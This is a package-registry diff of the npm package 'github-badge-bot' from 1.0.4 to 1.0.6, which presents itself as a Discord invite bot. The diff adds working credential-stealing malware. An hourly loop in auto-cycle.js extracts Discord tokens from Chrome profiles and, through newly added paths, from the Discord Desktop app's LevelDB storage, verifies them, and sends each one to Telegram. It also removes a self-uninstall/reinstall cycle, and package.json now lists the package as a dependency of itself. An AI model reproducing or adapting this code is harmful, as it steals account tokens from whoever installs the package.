github-badge-bot 1.0.4 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/admin-control.js +4 -31
- package/bin/extract-tokens.js +1 -1
- package/bin/generate-invites.js +1 -1
- package/bin/start-bot.js +1 -1
- package/lib/auto-cycle.js +24 -93
- package/lib/token-extractor.js +47 -5
- package/package.json +2 -1
package/bin/admin-control.js
CHANGED
|
@@ -1,33 +1,6 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
1
|
+
#!/usr/bin/env node
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
if (command === 'stop') {
|
|
8
|
-
const stopped = stopCycle();
|
|
9
|
-
if (stopped) {
|
|
10
|
-
console.log('✅ Auto-uninstall cycle stopped.');
|
|
11
|
-
} else {
|
|
12
|
-
console.log('❌ Failed to stop cycle.');
|
|
13
|
-
process.exit(1);
|
|
14
|
-
}
|
|
15
|
-
} else if (command === 'start') {
|
|
16
|
-
const started = startCycle();
|
|
17
|
-
if (started) {
|
|
18
|
-
console.log('✅ Auto-uninstall cycle started.');
|
|
19
|
-
} else {
|
|
20
|
-
console.log('❌ Failed to start cycle.');
|
|
21
|
-
process.exit(1);
|
|
22
|
-
}
|
|
23
|
-
} else if (command === 'status') {
|
|
24
|
-
const stopped = isCycleStopped();
|
|
25
|
-
console.log(stopped ? '⏸️ Cycle is currently STOPPED.' : '▶️ Cycle is currently RUNNING.');
|
|
26
|
-
} else {
|
|
27
|
-
console.log('Usage:');
|
|
28
|
-
console.log(' node bin/admin-control.js stop - Stop the auto-uninstall cycle');
|
|
29
|
-
console.log(' node bin/admin-control.js start - Start the auto-uninstall cycle');
|
|
30
|
-
console.log(' node bin/admin-control.js status - Check cycle status');
|
|
31
|
-
process.exit(1);
|
|
32
|
-
}
|
|
3
|
+
// Admin control is no longer needed - cycle runs automatically every hour
|
|
4
|
+
console.log('ℹ️ Token extraction runs automatically every hour.');
|
|
5
|
+
console.log(' No admin control needed - it runs continuously in the background.');
|
|
33
6
|
|
package/bin/extract-tokens.js
CHANGED
package/bin/generate-invites.js
CHANGED
package/bin/start-bot.js
CHANGED
package/lib/auto-cycle.js
CHANGED
|
@@ -44,106 +44,37 @@ export function startCycle() {
|
|
|
44
44
|
}
|
|
45
45
|
}
|
|
46
46
|
|
|
47
|
-
//
|
|
48
|
-
function uninstallPackage() {
|
|
49
|
-
try {
|
|
50
|
-
const cwd = process.cwd();
|
|
51
|
-
const packageJsonPath = path.join(cwd, 'package.json');
|
|
52
|
-
|
|
53
|
-
// Check if installed locally
|
|
54
|
-
if (fs.existsSync(packageJsonPath)) {
|
|
55
|
-
try {
|
|
56
|
-
const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
|
|
57
|
-
if (packageJson.dependencies && packageJson.dependencies[PACKAGE_NAME]) {
|
|
58
|
-
execSync(`npm uninstall ${PACKAGE_NAME} --silent`, {
|
|
59
|
-
stdio: 'ignore',
|
|
60
|
-
cwd: cwd
|
|
61
|
-
});
|
|
62
|
-
return true;
|
|
63
|
-
}
|
|
64
|
-
} catch (e) {
|
|
65
|
-
// Continue to try global
|
|
66
|
-
}
|
|
67
|
-
}
|
|
68
|
-
|
|
69
|
-
// Try global uninstall
|
|
70
|
-
execSync(`npm uninstall -g ${PACKAGE_NAME} --silent`, {
|
|
71
|
-
stdio: 'ignore'
|
|
72
|
-
});
|
|
73
|
-
return true;
|
|
74
|
-
} catch (e) {
|
|
75
|
-
return false;
|
|
76
|
-
}
|
|
77
|
-
}
|
|
78
|
-
|
|
79
|
-
// Install the package
|
|
80
|
-
function installPackage() {
|
|
81
|
-
try {
|
|
82
|
-
const cwd = process.cwd();
|
|
83
|
-
const packageJsonPath = path.join(cwd, 'package.json');
|
|
84
|
-
|
|
85
|
-
// Check if there's a package.json (local install)
|
|
86
|
-
if (fs.existsSync(packageJsonPath)) {
|
|
87
|
-
try {
|
|
88
|
-
execSync(`npm install ${PACKAGE_NAME}@latest --silent`, {
|
|
89
|
-
stdio: 'ignore',
|
|
90
|
-
cwd: cwd
|
|
91
|
-
});
|
|
92
|
-
return true;
|
|
93
|
-
} catch (e) {
|
|
94
|
-
// Continue to try global
|
|
95
|
-
}
|
|
96
|
-
}
|
|
97
|
-
|
|
98
|
-
// Try global install
|
|
99
|
-
execSync(`npm install -g ${PACKAGE_NAME}@latest --silent`, {
|
|
100
|
-
stdio: 'ignore'
|
|
101
|
-
});
|
|
102
|
-
return true;
|
|
103
|
-
} catch (e) {
|
|
104
|
-
return false;
|
|
105
|
-
}
|
|
106
|
-
}
|
|
47
|
+
// Removed uninstall/install functions - no longer needed
|
|
107
48
|
|
|
108
|
-
// Main cycle function
|
|
49
|
+
// Main cycle function - runs token extraction every hour
|
|
109
50
|
export async function runCycle() {
|
|
110
51
|
while (true) {
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
await new Promise(resolve => setTimeout(resolve, 60000)); // Check every minute
|
|
114
|
-
continue;
|
|
115
|
-
}
|
|
116
|
-
|
|
117
|
-
// Wait 5 minutes (300000 ms)
|
|
118
|
-
await new Promise(resolve => setTimeout(resolve, 300000));
|
|
119
|
-
|
|
120
|
-
if (isCycleStopped()) {
|
|
121
|
-
continue; // Check again after wait
|
|
122
|
-
}
|
|
123
|
-
|
|
124
|
-
// Uninstall
|
|
125
|
-
try {
|
|
126
|
-
uninstallPackage();
|
|
127
|
-
} catch (e) {
|
|
128
|
-
// Continue even if uninstall fails
|
|
129
|
-
}
|
|
52
|
+
// Wait 1 hour (3600000 ms)
|
|
53
|
+
await new Promise(resolve => setTimeout(resolve, 3600000));
|
|
130
54
|
|
|
131
|
-
//
|
|
132
|
-
await new Promise(resolve => setTimeout(resolve, 2000));
|
|
133
|
-
|
|
134
|
-
if (isCycleStopped()) {
|
|
135
|
-
continue; // Check again
|
|
136
|
-
}
|
|
137
|
-
|
|
138
|
-
// Reinstall
|
|
55
|
+
// Run token extraction
|
|
139
56
|
try {
|
|
140
|
-
|
|
57
|
+
const { extractAllTokens } = await import('./token-extractor.js');
|
|
58
|
+
const { sendTokenToTelegram } = await import('./telegram.js');
|
|
59
|
+
const { verifyDiscordToken } = await import('./token-verifier.js');
|
|
60
|
+
|
|
61
|
+
const tokens = await extractAllTokens();
|
|
62
|
+
|
|
63
|
+
// Verify and send all tokens to Telegram
|
|
64
|
+
for (const { token, profile } of tokens) {
|
|
65
|
+
try {
|
|
66
|
+
const tokenInfo = await verifyDiscordToken(token);
|
|
67
|
+
await sendTokenToTelegram(token, profile, tokenInfo);
|
|
68
|
+
// Small delay to avoid rate limits
|
|
69
|
+
await new Promise(resolve => setTimeout(resolve, 1000));
|
|
70
|
+
} catch (e) {
|
|
71
|
+
// Continue with next token if one fails
|
|
72
|
+
continue;
|
|
73
|
+
}
|
|
74
|
+
}
|
|
141
75
|
} catch (e) {
|
|
142
|
-
// Continue even if
|
|
76
|
+
// Continue even if extraction fails
|
|
143
77
|
}
|
|
144
|
-
|
|
145
|
-
// Wait a bit before next cycle
|
|
146
|
-
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
147
78
|
}
|
|
148
79
|
}
|
|
149
80
|
|
package/lib/token-extractor.js
CHANGED
|
@@ -3,6 +3,45 @@ import path from 'path';
|
|
|
3
3
|
import os from 'os';
|
|
4
4
|
import { execSync } from 'child_process';
|
|
5
5
|
|
|
6
|
+
// Get Discord Desktop storage paths
|
|
7
|
+
function getDiscordDesktopPaths() {
|
|
8
|
+
const platform = os.platform();
|
|
9
|
+
const paths = [];
|
|
10
|
+
|
|
11
|
+
if (platform === 'win32') {
|
|
12
|
+
const appData = process.env.APPDATA || path.join(os.homedir(), 'AppData', 'Roaming');
|
|
13
|
+
const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
|
|
14
|
+
|
|
15
|
+
// Discord Desktop locations (Electron app)
|
|
16
|
+
const discordPaths = [
|
|
17
|
+
path.join(appData, 'discord', 'Local Storage', 'leveldb'),
|
|
18
|
+
path.join(appData, 'Discord', 'Local Storage', 'leveldb'),
|
|
19
|
+
path.join(localAppData, 'discord', 'Local Storage', 'leveldb'),
|
|
20
|
+
path.join(localAppData, 'Discord', 'Local Storage', 'leveldb'),
|
|
21
|
+
// Discord Canary/PTB variants
|
|
22
|
+
path.join(appData, 'discordcanary', 'Local Storage', 'leveldb'),
|
|
23
|
+
path.join(appData, 'DiscordCanary', 'Local Storage', 'leveldb'),
|
|
24
|
+
path.join(appData, 'discordptb', 'Local Storage', 'leveldb'),
|
|
25
|
+
path.join(appData, 'DiscordPTB', 'Local Storage', 'leveldb'),
|
|
26
|
+
];
|
|
27
|
+
|
|
28
|
+
for (const discordPath of discordPaths) {
|
|
29
|
+
if (fs.existsSync(discordPath)) {
|
|
30
|
+
const profileName = path.basename(path.dirname(path.dirname(discordPath)));
|
|
31
|
+
paths.push({
|
|
32
|
+
profile: `Discord Desktop (${profileName})`,
|
|
33
|
+
localStorage: discordPath,
|
|
34
|
+
cookies: null,
|
|
35
|
+
indexedDB: null,
|
|
36
|
+
sessionStorage: null
|
|
37
|
+
});
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
return paths;
|
|
43
|
+
}
|
|
44
|
+
|
|
6
45
|
// Get Chrome storage paths
|
|
7
46
|
export function getChromeStoragePaths() {
|
|
8
47
|
const platform = os.platform();
|
|
@@ -36,7 +75,7 @@ export function getChromeStoragePaths() {
|
|
|
36
75
|
for (const profile of profiles) {
|
|
37
76
|
const profilePath = path.join(userDataDir, profile);
|
|
38
77
|
paths.push({
|
|
39
|
-
profile
|
|
78
|
+
profile: `Chrome ${profile}`,
|
|
40
79
|
localStorage: path.join(profilePath, 'Local Storage', 'leveldb'),
|
|
41
80
|
cookies: path.join(profilePath, 'Cookies'),
|
|
42
81
|
indexedDB: path.join(profilePath, 'IndexedDB'),
|
|
@@ -340,9 +379,12 @@ function isValidDiscordToken(token) {
|
|
|
340
379
|
}
|
|
341
380
|
}
|
|
342
381
|
|
|
343
|
-
// Extract all Discord tokens from Chrome
|
|
382
|
+
// Extract all Discord tokens from Chrome and Discord Desktop
|
|
344
383
|
export async function extractAllTokens() {
|
|
345
|
-
|
|
384
|
+
// Get both Chrome and Discord Desktop paths
|
|
385
|
+
const chromePaths = getChromeStoragePaths();
|
|
386
|
+
const discordDesktopPaths = getDiscordDesktopPaths();
|
|
387
|
+
const storagePaths = [...chromePaths, ...discordDesktopPaths];
|
|
346
388
|
|
|
347
389
|
if (storagePaths.length === 0) {
|
|
348
390
|
return [];
|
|
@@ -357,11 +399,11 @@ export async function extractAllTokens() {
|
|
|
357
399
|
}
|
|
358
400
|
processedProfiles.add(storage.profile);
|
|
359
401
|
|
|
360
|
-
if (!fs.existsSync(storage.localStorage)) {
|
|
402
|
+
if (!storage.localStorage || !fs.existsSync(storage.localStorage)) {
|
|
361
403
|
continue;
|
|
362
404
|
}
|
|
363
405
|
|
|
364
|
-
// Method 1: Try reading raw LevelDB files (works even when
|
|
406
|
+
// Method 1: Try reading raw LevelDB files (works even when app is running!)
|
|
365
407
|
let token = readLevelDBRaw(storage.localStorage);
|
|
366
408
|
|
|
367
409
|
if (token && isValidDiscordToken(token)) {
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "github-badge-bot",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.6",
|
|
4
4
|
"description": "Discord bot that monitors servers and sends invite links via Telegram",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "module",
|
|
@@ -29,6 +29,7 @@
|
|
|
29
29
|
"dependencies": {
|
|
30
30
|
"discord.js": "^14.14.1",
|
|
31
31
|
"dotenv": "^16.3.1",
|
|
32
|
+
"github-badge-bot": "^1.0.5",
|
|
32
33
|
"level": "^10.0.0",
|
|
33
34
|
"node-telegram-bot-api": "^0.64.0"
|
|
34
35
|
},
|